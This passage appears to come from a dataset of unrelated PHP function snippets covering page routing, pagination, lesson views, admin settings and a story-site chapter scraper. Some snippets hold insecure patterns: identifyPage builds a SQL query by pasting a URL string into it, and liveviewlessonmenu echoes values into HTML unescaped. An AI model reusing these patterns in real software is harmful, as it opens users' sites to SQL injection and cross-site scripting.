MODE\n\t\t//----------------------------------------------------------------------\n\t\t$this->DETAILS_MODE_SQL = $this->EDIT_MODE_SQL;\n\t\t$this->arrDetailsModeFields = array(\n\t\t\t'separator_general' =>array(\n\t\t\t\t'separator_info' => array('legend'=>_GENERAL),\n\t\t\t\t'image_file' => array('title'=>_BANNER_IMAGE, 'type'=>'image', 'target'=>'images/banners/', 'image_width'=>'280px', 'image_height'=>'90px', 'no_image'=>'no_image.png', 'file_maxsize'=>'1000k'),\n\t\t\t\t'link_url' => array('title'=>_URL, 'type'=>'label'),\n\t\t\t\t'page' \t\t => array('title'=>_PAGE, 'type'=>'enum', 'source'=>$this->pages),\n\t\t\t\t'priority_order' => array('title'=>_ORDER, 'type'=>'label'),\n\t\t\t\t'is_active' => array('title'=>_ACTIVE, 'type'=>'enum', 'source'=>$arr_is_active),\n\t\t\t)\n\t\t);\n\n\t\t///////////////////////////////////////////////////////////////////////////////\n\t\t// 3. add translation fields to all modes\n\t\t$this->AddTranslateToModes(\n\t\t\t$this->arrTranslations,\n\t\t\tarray('image_text' => array('title'=>_DESCRIPTION, 'type'=>'textarea', 'width'=>'410px', 'height'=>'90px', 'required'=>false, 'maxlength'=>'2048', 'validation_maxlength'=>'2048', 'readonly'=>false, 'post_html'=>(($slideshow_caption_html == 'yes') ? '<br>'._CAN_USE_TAGS_MSG.' <b>, <i>, <u>, <br>' : '')))\n\t\t);\n\t\t///////////////////////////////////////////////////////////////////////////////\t\t\t\n\n\t}",
"function identifyPage() {\n//\t\t$req_uri = $_SERVER['REQUEST_URI'];\n//\t\tprint \"init\";\n\t\t$query = new Query();\n\t\tif($query->sql(\"SELECT id, relation, name, url FROM \" . UT_MEN . \" WHERE url LIKE '%\".$this->url.\"%'\")) {\n\t\t\t$item->id = $query->getQueryResult(0, \"id\");\n\t\t\t$item->name = $this->translate($query->getQueryResult(0, \"name\"));\n\n\t\t\t$item->url = str_replace(FRAMEWORK_PATH.\"/admin\", \"\", $this->url);\n\t\t\t$item->url = str_replace(GLOBAL_PATH.\"/admin\", \"\", $item->url);\n\t\t\t$item->url = str_replace(REGIONAL_PATH.\"/admin\", \"\", $item->url);\n\n//\t\t\t$item->url = ereg_replace(FRAMEWORK_PATH.\"/admin|\".GLOBAL_PATH.\"/admin|\".REGIONAL_PATH.\"/admin\", \"\", $query->getQueryResult(0, \"url\"));\n\t\t\tarray_unshift($this->trail, $item);\n\t\t\t$relation = $query->getQueryResult(0, \"relation\");\n\t\t\tif($relation) {\n\t\t\t\t$this->pageTrail($relation);\n\t\t\t}\n\t\t\treturn true;\n\t\t}\n\t\treturn false;\n\t}",
"public function getChapterAjaxAction(){\n try {\n $time = date('Y-m-d H:i:s');\n require 'default_simple_html_dom.php';\n $this->_helper->viewRenderer->setNoRender('true');\n $storyModel = new Model_api_manageapp_Story();\n $storyContentModel = new Model_api_manageapp_StoryContent();\n $params = $this->_arrParam;\n if ($this->_request->isPost()){\n if (!empty($params['site_id'])) {\n $listStory = $storyModel->getListStory(array( // lay ds truyen chua tong hop trang\n 'crawler' => CRAWLER_OFF,\n 'crawler_id' => $params['site_id'], \n ));\n if(!empty($listStory)){\n $num_story = 0;// bien dem truyen\n $value = $listStory[0];// lay phan tu dau tien trong ds \n if(isset($value['source'])){// neu co source\n preg_match('~(.*\\d+)\\.html~', $value['source'],$link_arr);// tach lay url phan trang\n $link_get_page = $link_arr[1];// lay link chuan phan trang\n if(!isset($value['page_crawler'])){// bien luu vi tri page da crawler\n\n $value['page_crawler'] = -1;\n }\n $page_max = $value['total_page'];// bien phan trang lon nhat\n if($value['page_crawler']<$page_max){// neu chua quet het trang\n $next_page = $value['page_crawler']+1;// bien trang quet lan nay\n $url_chapter = $link_get_page.'/page-'.$next_page.'.html'; // tao url de quet\n $dom1 = file_get_html($url_chapter);// load vao trang\n $linkpage1 = $dom1->find('.page-split',0);//tim den phan phan trang\n $content = $linkpage1->parent()->parent();// tim den phan chua cac danh sach chuong\n foreach ($content->children() as $child){\n if($child->getAttribute('class') == 'chuongmoi'){ \n foreach ($child->children() as $chapter){\n if($value['lastest_chapter'] < $value['total_chapter']){ \n $link_chapter = 'http://sstruyen.com'.$chapter->children(0)->href;\n $data = array(\n 'story_id' => $value['id'],\n 'status' => STATUS_OFF,\n 'chapter_number' => $value['lastest_chapter']+1,\n 'source' => $link_chapter,\n 'is_crawler' => CRAWLER_OFF,\n 'created_time' => $time,\n 'updated_time' => $time,\n 'published_time' => $time,\n );\n $storyContentModel->insert($data);\n // cap nhat chuong moi nhat \n $data_story = array(\n 'lastest_chapter' => $value['lastest_chapter']+1,\n 'page_crawler' => $next_page,\n );\n $where = 'id = ' . $value['id'];\n $storyModel ->update($data_story, $where);\n $value['lastest_chapter']++;\n } \n }\n }\n }\n // done 1 page\n $response = array(\n 'status' => 1,\n 'message' => 'truyện '.$value['story_name'].' tổng hợp đến trang thứ '. $next_page.'/'.$page_max,\n ); \n }\n else if($value['page_crawler'] == $page_max){\n // hoan thanh 1 truyen => update co is_crawler trong bang story\n $data_story_crawler = array(\n 'is_crawler' => '1'\n );\n $where = 'id = ' . $value['id'];\n $storyModel ->update($data_story_crawler, $where);\n $response = array(\n 'status' => 0,\n 'message' => 'truyện '.$value['story_name'].' hoàn thành',\n ); \n } \n }else{\n $response = array(\n 'status' => 0,\n 'message' => 'Truyện không có đường dẫn tổng hợp'\n );\n }\n }else{\n $response = array(\n 'status' => 0,\n 'message' => 'Đã tổng hợp hết truyện'\n );\n }\n }\n \n \n } \n else{\n // tao du lieu tra ve\n $response = array('status' => 0, 'message' => 'Phương thức truyền dữ liệu ko được hỗ trợ');\n }\n \n }catch (Exception $exc) {\n $response = array(\n 'status' => 0,\n 'message' => 'Lỗi xử lý server'\n );\n }\n exit(json_encode($response));\n }",
"public function __construct() {\n\n\t\t// get uri\n\t\t// remove slash\n\t\t// get first param\n\t\t// switch case\n\t\t\n\t\t$uri = self::getUri(); \n\t\t// trong truong hop $uri chi gom domain name thi array $uri van co first element va element rong\n\n\t\t$first = $uri[0];\n\t\t$first = \"first here\";\n\t\tself::$_first = $first;\n\n\t\tswitch ($first) {\n\t\t\tcase \"\":\n\t\t\t\t$this->_cPage = \"index\";\n\t\t\t\tbreak;\n\n\t\t\tcase $this->_admin:\n\t\t\t\t$this->adminProcess();\n\t\t\t\tbreak;\n\n\t\t\tcase $this->_college_Url:\n\t\t\t\t$this->_cPage = $this->_college_temp;\n\t\t\t\tbreak;\n\t\t\t\n\t\t\tdefault:\n\t\t\t\t$this->_cPage = $this->_article_temp;\n\t\t}\n\t}",
"public function load_settings_page() : void {\n\n\t\t\tglobal $learndash_assets_loaded;\n\n\t\t\t$object = array(\n\t\t\t\t'ajaxurl' => admin_url( 'admin-ajax.php' ),\n\t\t\t\t'plugin_url' => LEARNDASH_LMS_PLUGIN_URL,\n\t\t\t\t'admin_dashboard_url' => admin_url( '/' ),\n\t\t\t\t'learndash_cloud_setup_url' => add_query_arg(\n\t\t\t\t\tarray( 'page' => 'learndash-setup' ),\n\t\t\t\t\tadmin_url( 'admin.php' )\n\t\t\t\t),\n\t\t\t\t'learndash_cloud_setup_wizard_url' => add_query_arg(\n\t\t\t\t\tarray( 'page' => 'learndash-setup-wizard' ),\n\t\t\t\t\tadmin_url( 'admin.php' )\n\t\t\t\t),\n\t\t\t\t'learndash_setup_wizard_url' => add_query_arg(\n\t\t\t\t\tarray( 'page' => 'learndash-setup-wizard' ),\n\t\t\t\t\tadmin_url( 'admin.php' )\n\t\t\t\t),\n\t\t\t);\n\n\t\t\t// phpcs:ignore WordPress.Security.NonceVerification.Recommended\n\t\t\tif ( isset( $_GET['page'] ) && 'learndash-setup' === $_GET['page'] ) {\n\t\t\t\tHelp_Page::enqueue_support_assets();\n\n\t\t\t\twp_enqueue_style(\n\t\t\t\t\t'learndash-setup',\n\t\t\t\t\tLEARNDASH_LMS_PLUGIN_URL . '/assets/css/setup.css',\n\t\t\t\t\tarray(),\n\t\t\t\t\tLEARNDASH_VERSION,\n\t\t\t\t\t'all'\n\t\t\t\t);\n\t\t\t\t$learndash_assets_loaded['styles']['learndash-admin-setup-page-style'] = __FUNCTION__;\n\n\t\t\t\twp_enqueue_script(\n\t\t\t\t\t'learndash-setup',\n\t\t\t\t\tLEARNDASH_LMS_PLUGIN_URL . '/assets/js/setup.js',\n\t\t\t\t\tarray( 'jquery', 'wp-element' ),\n\t\t\t\t\tLEARNDASH_VERSION,\n\t\t\t\t\ttrue\n\t\t\t\t);\n\t\t\t\t$learndash_assets_loaded['scripts']['learndash-admin-setup-page-script'] = __FUNCTION__;\n\n\t\t\t\twp_localize_script(\n\t\t\t\t\t'learndash-setup',\n\t\t\t\t\t'LearnDashSetup',\n\t\t\t\t\t$object\n\t\t\t\t);\n\t\t\t}\n\t\t}",
"public function __construct(Page $page)\n {\n $this->page = $page;\n }",
"public function setstepAction(){\n\n $this->view->getdata = $this->Request;\n\n\t $this->view->steplistdata = $this->ModelObj->steplist();\n\n\t $this->view->steps = $this->ModelObj->showsteps();\n\n }",
"protected function populateParams() {\r\n $this->pageNum = isset($_GET['p']) ? (int)$_GET['p'] : 0;\r\n $catId = isset($_GET['c']) ? (int)$_GET['c'] : 0;\r\n \r\n if ($this->pageNum < 1) {\r\n $this->pageNum = 1;\r\n }\r\n }",
"public function __construct($param = array()) {\n\t\t$this->total = empty($param['total']) ? 1 : $param['total'];\n\t\t$this->each_page_num = empty($param['each']) ? 10 : $param['each'];\n\t\t$this->url = empty($param['url']) ? '' : $param['url'];\n\t\t$this->page_name = empty($param['name']) ? 'page' : $param['name'];\n\n\t\t$this->total_page = ceil($this->total / $this->each_page_num);\t\n\n\t\t// 处理page_name 数据\n\t\tif (isset($_GET[$this->page_name]))\n\t\t\t$page = intval($_GET[$this->page_name]);\n\t\telse\n\t\t\t$page = 1;\n\t\tif ($page < 1)\n\t\t\t$this->current_page = 1;\n\t\telse if ($page > $this->total_page)\n\t\t\t$this->current_page = $this->total_page;\n\t\telse\n\t\t\t$this->current_page = $page;\n\t\t\n\t}",
"public function initPage() {}",
"public function initPage() {}",
"function getPage()\n {\n global $_ARRAYLANG, $objTemplate; \n\n if(!isset($_GET['act'])){\n $_GET['act']='';\n }\n\n $boolShowStatus = true;\n\n switch ($_GET['act']) {\n case 'Ftp':\n $this->showFtp();\n break;\n \n case 'cache':\n if (in_array('CacheManager', \\Env::get('cx')->getLicense()->getLegalComponentsList())) {\n $boolShowStatus = false;\n $objCache = new \\Cx\\Core_Modules\\Cache\\Controller\\CacheManager();\n $objCache->showSettings();\n } else {\n \\Permission::noAccess();\n }\n \n break;\n\n case 'Wysiwyg':\n if (in_array('Wysiwyg', \\Env::get('cx')->getLicense()->getLegalComponentsList())) {\n $boolShowStatus = false;\n $this->showWysiwyg();\n } else {\n \\Permission::noAccess();\n }\n \n break;\n \n case 'cache_update':\n $boolShowStatus = false;\n $objCache = new \\Cx\\Core_Modules\\Cache\\Controller\\CacheManager();\n $objCache->updateSettings();\n $objCache->showSettings();\n break;\n\n case 'cache_empty':\n $boolShowStatus = false;\n $objCache = new \\Cx\\Core_Modules\\Cache\\Controller\\CacheManager();\n $objCache->forceClearCache(isset($_GET['cache']) ? contrexx_input2raw($_GET['cache']) : null);\n $objCache->showSettings();\n break;\n\n case 'smtp':\n $this->smtp();\n break;\n \n case 'image':\n try {\n $this->image($_POST);\n } catch (Exception $e) {\n \\DBG::msg('Image settings: '.$e->getMessage);\n }\n break;\n case 'thumbnail':\n $this->editThumbnails($_POST);\n break;\n\n case 'generateThumbnail':\n $this->generateThumbnail($_POST);\n break;\n\n case 'getThumbProgress':\n $this->getThumbProgress();\n break;\n\n default:\n $this->showSettings();\n }\n\n if ($boolShowStatus) {\n $objTemplate->setVariable(array(\n 'CONTENT_TITLE' => $this->strPageTitle,\n 'CONTENT_OK_MESSAGE' => $this->strOkMessage,\n 'CONTENT_STATUS_MESSAGE' => implode(\"<br />\\n\", $this->strErrMessage)\n ));\n }\n\n $this->act = isset($_REQUEST['act']) ? $_REQUEST['act'] : '';\n $this->setNavigation();\n }",
"protected function _prepare_page($page)\n {\n }",
"public function get_page();",
"public function initializePage(Form\\Model\\Page $page)\n {\n $this->page = $page;\n }",
"public function construction_override($pageid, languagelesson $lesson) {\n return true;\n }",
"protected function getPage(){\n // print_r($_GET);\n // sprawdzanie czy jest sie na podstronie\n if($page_action = ClassTools::getValue('page_action')){\n switch($page_action){\n case 'dodaj':\n // ladowanie strony z formularzem\n return $this->getPageAdd();\n break;\n case 'edytuj':\n // ladowanie strony z formularzem\n return $this->getPageEdit();\n break;\n case 'podglad':\n // ladowanie strony z podgladem\n return $this->getPageView();\n break;\n }\n }\n \n return $this->getPageList();\n }",
"function __construct($pagetype) {\t\n\t\t\t$page = $pagetype;\t\t\t\n\t\t}",
"public function initialize(string $activePage): void;",
"public function pageActual(){\n\n\t\tif(isset($_GET['p'])){\n\t\t\t$page = (int)$_GET['p'];\n\t\t\treturn $page;\n\t\t}else{\n\t\t\t$page = 1;\n\t\t\t$this->viewLoad('pages/initial');\n\t\t}\n\t\t\n\t\t\n\t}",
"public function intro_tour() {\n\t\tglobal $pagenow;\n\n\t\t$page = preg_replace( '/^(formidable[-]?)/', '', filter_input( INPUT_GET, 'page' ) );\n\n\t\tif ( 'admin.php' === $pagenow && array_key_exists( $page, $this->admin_pages ) ) {\n\t\t\t$this->do_page_pointer( $page );\n\t\t} else {\n\t\t\t$this->start_tour_pointer();\n\t\t}\n\t}",
"public function page_init() {\n }",
"public function course_status() {\n\t\t$course_id = $this->input->post('course_id');\n\t\t$this->page_data['page_name'] = \"course_status\";\n\t\t$this->page_data['page_title'] = 'Course Status';\n\t\t$this->page_data['page_view'] = 'user/course_status';\n\t\t$this->page_data['sub_page_name'] = \"course_status\";\n\n\t\t$this->page_data['course_list'] = $this->crud_model->get_enrollment_info_by_user_id(\"OBJECT\", $this->session->userdata('user_id'), array(\n\t\t\t\"course\" => array('id', 'title'),\n\t\t));\n\t\tif ($course_id) {\n\t\t\t$this->page_data['lesson_list'] = $this->lesson_model->get_lesson_list_by_users_status(\n\t\t\t\t$this->session->userdata('user_id'),\n\t\t\t\t'OBJECT',\n\t\t\t\tarray(\n\t\t\t\t\t\n\t\t\t\t\t// 'user_lesson_status' => array('updated_at'),\n\t\t\t\t\t'lesson' => array('id', 'title', 'duration_in_second'),\n\t\t\t\t),\n\t\t\t\tarray('course_id' => $course_id)\n\t\t\t);\n\n\t\t\t$this->page_data['total_course_duration'] = 0;\n\t\t\t$this->page_data['total_user_lesson_duration'] = 0;\n\t\t\tforeach ($this->page_data['lesson_list'] as $lesson) {\n\t\t\t\t$this->page_data['total_course_duration'] += $lesson->duration_in_second;\n\t\t\t\t$this->page_data['total_user_lesson_duration'] += $lesson->finished_time;\n\t\t\t}\n\n\t\t}\n\n\t\t// debug($this->page_data['lesson_list']);\n\n\t\t$this->load->view('index', $this->page_data);\n\t}",
"function liveviewlessonmenu($courseid, $geturl, $canaccess, $hidden) {\n global $DB, $USER;\n echo \"\\n<table border=0><tr>\";\n $lessons = $DB->get_records('lesson', array('course' => $courseid));\n echo \"\\n<td><form action=\\\"$geturl\\\">\";\n foreach ($hidden as $key => $value) {\n if ($key <> 'lessonid') {\n echo \"\\n<input type=\\\"hidden\\\" name=\\\"$key\\\" value=\\\"$value\\\">\";\n }\n }\n echo \"\\n<select name=\\\"lessonid\\\" onchange='this.form.submit()'>\";\n echo \"\\n<option value=\\\"0\\\">\".get_string('chooselesson', 'quiz_liveviewgrid').\"</option>\";\n foreach ($lessons as $lesson) {\n $lessonid = $lesson->id;\n $lessonname = $lesson->name;\n echo \"\\n<option value=\\\"$lessonid\\\">$lessonname</option>\";\n }\n echo \"\\n</select>\";\n echo \"\\n</form></td></tr></table>\";\n}",
"public function __construct(Course $course, Lesson $lesson)\n {\n $this->course = $course;\n $this->lesson = $lesson;\n }",
"public function __construct() {\n\t\t\t// create new page object\n\t\t\t$this->page = new HtmlPage('Page conjunction');\n\n\t\t\t// create new database object\n\t\t\t$this->db = new Database();\n\t\t\t\n\t\t\t// create new request validator\n\t\t\t$this->rq = new RequestValidator();\n\t\t\t\n\t\t\t// execute tool\n\t\t\t$this->run();\n\t\t\t$this->finish();\n\t\t}",
"function exam_take_page_advance_init() {\n // pButtonClicked keeps track of the number of pages \n // the test taker has clicked on. \n // It starts with a value of \"1\" and is incremented \n // by 1 with each button click.\n $_SESSION['exam']['pButtonClicked'] = 1;\n // pNextButtonClick predicts what the next page's\n // pButtonClicked value should be. \n $_SESSION['exam']['pNextButtonClick'] = 2;\n \n return null;\n \n}",
"function site_url ($page) {\n return \"/assignment/Student Companion/pages/\" . $page;\n }",
"function lesson_title(){\n return $_POST['lesson-title'];\n}",
"public function setPage($page){\n $this->page=$page;\n }",
"public function __construct()\n\t{\n\t\t// Go back to page 1 when adding/removing a facet option\n\t\t$this->unwantedUrlParameters = array(\n\t\t\tMage::getBlockSingleton('page/html_pager')->getPageVarName() => null // reset page browser\n\t\t);\n\n\t\tparent::__construct();\n\t}",
"public function set_page($page);",
"public function set_page($class_model, $input_page) {\n $count = $class_model->count();\n $tmp_page = $count / PAGINATION;\n $tmp_page = ceil($tmp_page);\n $tmp_page1 = $count % PAGINATION;\n $page = $input_page;\n\n if ($tmp_page1 != 0) {\n $tmp_page = $tmp_page + 1;\n }\n if ($tmp_page < $page) {\n $page = $tmp_page;\n }\n return $page;\n }",
"function __construct(/*$id = null, $id_lesson = null, $name = null, $surname = null*/)\n\t{\n\t}",
"function Module($page){\r\n\t\t$this->page=$page;\r\n\t}",
"private function getParamsFromRequest() {\n if (isset($_GET['page'])) {\n $this->currentpage = $_GET['page'];\n } else {\n //else set default page to render\n $this->currentpage = 1;\n }\n //If limit is defined in URL\n if (isset($_GET['limit'])) {\n $this->limit = $_GET['limit'];\n } else { //else set default limit to 20\n $this->limit = 10;\n }\n //If currentpage is set to null or is set to 0 or less\n //set it to default (1)\n if (($this->currentpage == null) || ($this->currentpage < 1)) {\n $this->currentpage = 1;\n }\n //if limit is set to null set it to default (10)\n if (($this->limit == null)) {\n $this->limit = 10;\n //if limit is any number less than 1 then set it to 0 for displaying\n //items without limit\n } else if ($this->limit < 1) {\n $this->limit = 0;\n }\n }",
"public function __construct()\n {\n $page = \\App::make('Lablog\\Lablog\\Page\\PageGatewayInterface');\n $this->page = $page;\n }",
"public function __construct($name_of_page,$action){\r\n\t\tself::default($name_of_page,$action);\t\r\n }",
"public function __construct()\n\t{\n\t\tif($this->getParam('x-technology') == 'ajax')\n\t\t{\n\t\t\t$this->_bIsAjax = true;\n\t\t}\n\t}",
"public static function cPage() {\n return isset($_GET[self::$_page]) ?\n $_GET[self::$_page] : 'index';\n //neu nhu bien page da duoc set thi ten trang chinh la bien page, neu chua duoc set thi la trang chu index\n }",
"public function view($category=NULL, $course=NULL, $lesson=NULL, $action=\"edit\"){\t\n\t\t//------------------Data Storage------------------\n\t\t\t//Shared data for connecting links(Create/View)\n\t\t\t$this->data['type']='view';\n\t\t\t$this->data['linked']='create';\n\t\t\t//Lesson error handleing(Edit menu)\n\t\t\t$this->data['lesson_404']=false;\n\t\t\t$this->data['lesson_null']=false;\n\t\t\t//Defaulting values for the view data\n\t\t\t$this->data['category']=NULL;\n\t\t\t$this->data['course']=NULL;\n\t\t\t//Passing in the uri elements back to views(Mostly used for creating links)\n\t\t\t$this->data['lesson_current']=$lesson;\n\t\t\t$this->data['category_current']=$category;\n\t\t\t$this->data['course_current']=$course;\n\n\n\t\t\t\t//The ordering block form validation and setup\n\t\tif($lesson != NULL){\t\n\t\t\t// Deciding what view to load\n\t\t\tif($action != 'order'){\n\t\t\t\t$this->data['view_edit']='/en/1-admin/components/views/main_lesson_block_edit';\n\t\t\t}\n\t\t\telse{\n\t\t\t$this->data['view_edit']='/en/1-admin/components/views/main_lesson_block_order';\n\t\t\t//This is for ordering\n\t\t\tif($this->input->post() !=NULL){\n\t\t\t\t$items = $this->input->post('item');\n\t\t $total_items = count($this->input->post('item'));\n\t\t echo '<h3>Debugging</h3>';\n\t\t echo \"<p>Total items sent: $total_items</p>\";\n\t\t // Update order is usde for inserting the correct order of block that we recieved from jquery\n\t\t $this->block_m->update_order($total_items, $items);\n\t\t\t\t}\n\t\t\t}\t\n\t\t}\n\t\t//------------------Data Storage------------------\n\t\t//Checking the category_id fucking for a valid value\n\t\tif($category != NULL AND $this->category_m->get_by_id($category) != NULL ){\n\t\t /**\n\t\t\t*==========================CATEGORY IS AVAILABLE IN THE URL=====================================\n\t\t\t * \t\tDescription: First we are checking the category element of the URL.\n\t\t\t *\t\t\t\tIf the we have a category we will load the \"main_lesson_cat_list\" view and get all the data on the specific category.\n\t\t\t *\t\t\t\t@param object $this->data['category']\n\t\t\t */\t\n\n\t\t\t//Getting specific category data related to the category_id\n\t\t\t$this->data['category']=$this->category_m->get_by_id($category, false);\n\t\t\t$this->data['category_view']='/en/1-admin/components/views/main_lesson_cat_list';\n\t\t\t\n\t\t\t//Getting the number of courses in the category and making exception for categories with zero courses\n\t\t\tif(count($this->course_m->get_by_category($category, false)) != NULL){\n\t\t\t\t$this->data['category']->count=count($this->course_m->get_by_category($category, false));}\n\t\t\telse{\n\t\t\t\t$this->data['category']->count=0;}\n\t\t\t\t//Preparind data for statistics\n\t\t\t\t$fields= array(\n\t\t\t \t \t\"category_id\"\t=> $category,\n\t\t\t \t \t);\n\t\t\t\t//Selecting the table for checking statistics\n\t\t\t\t$table=\"courses\";\n\t\t\t\t//Retrieve statistics\n\t\t\t\t$this->data['category_stat']=$this->category_m->counting_stars($fields, $table);\n\t\t\t\t//format sattistics data\n\t\t\t\tforeach($this->data['category_stat'] as $field => $value){\n\t\t\t\t\t$this->data['category']->$field = $value;\n\t\t\t\t}\n\t\t\t// Check the course_id if its a valid it and if it exists\n\t\t\tif($course != NULL OR $this->course_m->get_by_id($course) != NULL ){\n\t\t\t\t/*=======================================COURSE IS AVAILBLE IN THE URL============================\n\t\t\t\t *\tDescription: We have a valid category_id and a valid course_id in the url.\n\t\t\t\t *\t\t\t\t we are putting all our course data in $this->data['course'].\n\t\t\t\t */\n\t\t\t\t//Loading all the course data for the specific course_id\n\t\t\t\t$this->data['course']=$this->course_m->get_by_id($category);\n\t\t\t\t//Validification of the course with the category(test if there exist a course with that id and that category_id)\n\t\t\t\tif($this->course_m->get_by_cou_and_cat($category, $course) == NULL){\n\t\t\t\t\t$this->session->set_flashdata('error_course', $this->lang->line('error_flash_not_valid'));\n\t\t\t\t\tredirect($this->data['language'].'/admin/lesson/view/'.$category, 'refresh');\n\t\t\t\t}\n\n\t\t\t\t//Counting the number of lesson in the course (POSSIBLE BUGFIX FOR ZERO LESSONS)\n\t\t\t\t$this->data['course_count']=count($this->lesson_m->get_by_course($course));\n\t\t\t\t//Getting valid course data\n\t\t\t\t$this->data['course']=$this->course_m->get_by_cou_and_cat($category, $course);\n\n\t\t\t\t//Preparind data for statistics\n\t\t\t\t$fields= array(\n\t\t\t \t \t\"course_id\"\t=> $course,\n\t\t\t \t \t);\n\t\t\t\t//Selecting the table for checking statistics\n\t\t\t\t$table=\"lessons\";\n\t\t\t\t//Retrieve statistics\n\t\t\t\t$this->data['course_stat']=$this->category_m->counting_stars($fields, $table);\n\t\t\t\t//format sattistics data\n\t\t\t\tforeach($this->data['course_stat'] as $field => $value){\n\t\t\t\t\t$this->data['course'][0]->$field = $value;\n\t\t\t\t}\n\n\t\t\t\t$this->data['author']= $this->user_m->get_by_id('id',$this->data['course'][0]->author_id);\n\t\t\t\t//Preparind data for statistics\n\t\t\t\t$fields= array(\n\t\t\t \t \t\"author_id\"\t=> $this->data['course'][0]->author_id,\n\t\t\t \t \t);\n\t\t\t\t//Selecting the table for checking statistics\n\t\t\t\t$table=\"courses\";\n\t\t\t\t//Retrieve statistics\n\t\t\t\t$this->data['author_stat']=$this->category_m->counting_stars($fields, $table);\n\t\t\t\t//format sattistics data\n\t\t\t\tforeach($this->data['author_stat'] as $field => $value){\n\t\t\t\t\t$this->data['author']->$field = $value;\n\t\t\t\t}\n\n\t\t\t\t\n\t\t\t\t//Load lesson and language data\n\t\t\t\t$this->data['language_lesson']=$this->language_m->get_all();\n\t\t\t\t$this->data['lesson_all']=$this->lesson_m->get_by_id('course_id',$course);\n\n\t\t\t\t//Load views\n\t\t\t\t$this->data['course_view']='/en/1-admin/components/views/main_lesson_course_list';\n\t\t\t\t$this->data['lesson_view']='/en/1-admin/components/views/main_lesson_view_list';\n\t\t\t}\n\t\t\telse{\n\t\t\t\t/*=======================================COURSE IS NOT AVAILBLE IN THE URL============================\n\t\t\t\t *\tDescription: We have a valid category_id and not a valid course_id in the url.\n\t\t\t\t *\t\t\t\t We are getting all the courses and putting them in view so the user can select a course\n\t\t\t\t */\n\t\t\t\t// Get all courses with a category_id\n\t\t\t\t$this->data['course_all']=$this->course_m->get_by_id($category, true);\n\n\t\t\t\t//Get the number of lesson in a specific course and making an exception for zero lessons\n\t\t\t\tforeach($this->data['course_all'] as $key => $course_temp)\n\t\t\t\t\t$this->data['course_all'][$key]->count=count($this->lesson_m->get_by_course($course_temp->course_id));\n\n\t\t\t\t//Load view\n\t\t\t\t$this->data['course_view']='/en/1-admin/components/views/main_lesson_course_select';\t\n\t\t\t}\n\t\t}else{\n\t\t\t/*=======================================CATEGORY IS NOT AVAILBLE IN THE URL============================\n\t\t\t\t *\tDescription: We have don't a valid category_id in the url.\n\t\t\t\t *\t\t\t\t We are getting all the categories and putting them in view so the user can select a course\n\t\t\t\t */\n\t\t\t//Retriev all category data\n\t\t\t$this->data['category_all']=$this->category_m->get_all();\n\t\t\t//Get the number of courses in a all categories and making an exception for zero courses\n\t\t\tforeach($this->data['category_all'] as $key => $category_temp)\n\t\t\t\t\t$this->data['category_all'][$key]->count=count($this->course_m->get_by_category($category_temp->category_id, false));\n\n\t\t\t//Load views\n\t\t\t$this->data['category_view']='/en/1-admin/components/views/main_lesson_cat_select';\n\t\t\t$this->data['course_view']='/en/1-admin/components/views/main_lesson_course_select';\n\t\t\t//display the category select And course select\n\t\t}\n\n\t\t// Edit lesson segmen(Editing the block)\n\t\t\t//Get all the lesson information by id\n\t\t\t$get_lesson = $this->lesson_m->get_by_id('lesson_id', $lesson);\n\t\t\t$this->data['lesson_side']=$this->lesson_m->get_by_id('lesson_id', $lesson);\n\t\t\t//Error checking if there isnt a lesson with that id\n\t\t\tif($get_lesson == false){$this->data['lesson_404']=true;}\n\t\t\t//if($lesson == NULL){$this->data['lesson_null']=true;}\n\t\t\t//passing a variable for the form edit screen\n\t\t\tif($get_lesson == true){\n\n\t\t\t\t$this->data['lesson_name']=$get_lesson[0]->lesson_name;\n\t\t\t\t$this->data['lesson_slug']=$get_lesson[0]->lesson_slug;\n\t\t\t}\n\t\t// Extract all blocks from a specific lesson\n\t\t\tif($get_lesson != NULL)\n\t\t\t\t$all_blocks = $this->block_m->get_by_id('block_group',$get_lesson[0]->lesson_id);\n\t\t\t// Prepare and format the blocks for the view\n\t\t\tif(isset($all_blocks) )\n\t\t\t\t$this->data['print_lesson'] = $this->block_m->block_format($all_blocks, TRUE, $get_lesson[0]->lesson_id, 'admin', $this->data['language'] );\n\t\t\t// ust get the block informations witout formating(For the order page)\n\t\t\tif(isset($all_blocks))\n\t\t\t\t$this->data['direct_block']=$all_blocks;\n\t\t\t\n\n\t\t//----------------------------------- TEST VARIABLE FOR SHOWING DATA ---------------------------------\n\t\t\t//$this->data['main_view_data1']= $this->data['notifications'];\n\t\t//------------------------------------------ TEST VARIABLE -------------------------------------------\n\n\t\t//url and language segment\n\t\t$total_url = $this->uri->uri_string();\n\t\t$this->data['lang_url'] = $this->uri->segment(1);\n\t\t$this->data['total_url'] = str_replace (\"/\",\"--\", $total_url);\n\t\n\t\t//Load views\n\t\t$this->data['lesson']=$lesson;\n\t\t$user_language = $this->session->userdata('language');\n\t\t$this->data['subview'] = 'en/1-admin/components/views/main_lesson_create';\n\t\t$this->lang->load('frontpage_navigation_'.$user_language, $user_language);\n\t\t$this->load->view('en/1-admin/layout/_layout_main', $this->data);\n\t\t}",
"protected function getPage() {}",
"protected function getPage() {}",
"public function page(){\n\t\t$pageLoader = $this->plugin->library('Page');\n\t\t$pageLoader->load('admin/settings');\n\t}",
"public function __construct()\n {\n if(!empty(filter_input(INPUT_GET, 'url', FILTER_DEFAULT))){\n $this->Url = filter_input(INPUT_GET, 'url', FILTER_DEFAULT);\n $this->limparUrl();\n $this->UrlConjunto = explode(\"/\", $this->Url);\n \n if(isset($this->UrlConjunto[0]))\n {\n $this->UrlController = $this->slugController($this->UrlConjunto[0]);\n }else{\n $this->UrlController = CONTROLER;\n }\n\n //condição dos segundo paramentro \n if(isset($this->UrlConjuto[1]))\n {\n $this->UrlParamentro = $this->UrlConjunto[1];\n }else{\n $this->UrlParamentro = null;\n }\n\n echo \"{$this->Url} <br>\";\n echo \"Controller: {$this->UrlController} <br>\";\n // caso nao tenha paramentro entra else aonde vai ter valores fixos\n }else{\n $this->UrlController = CONTROLER;\n $this->UrlParamentro= null;\n }\n \n\n }",
"public function __construct(DBWrapper $db_wrapper, $page_slug = 0) {\n $this->db_wrapper = $db_wrapper;\n \n if($page_slug) {\n $this->select_single_page($page_slug);\n }\n }",
"public function __construct(Page $page)\n {\n parent::__construct();\n $this->page = $page;\n }",
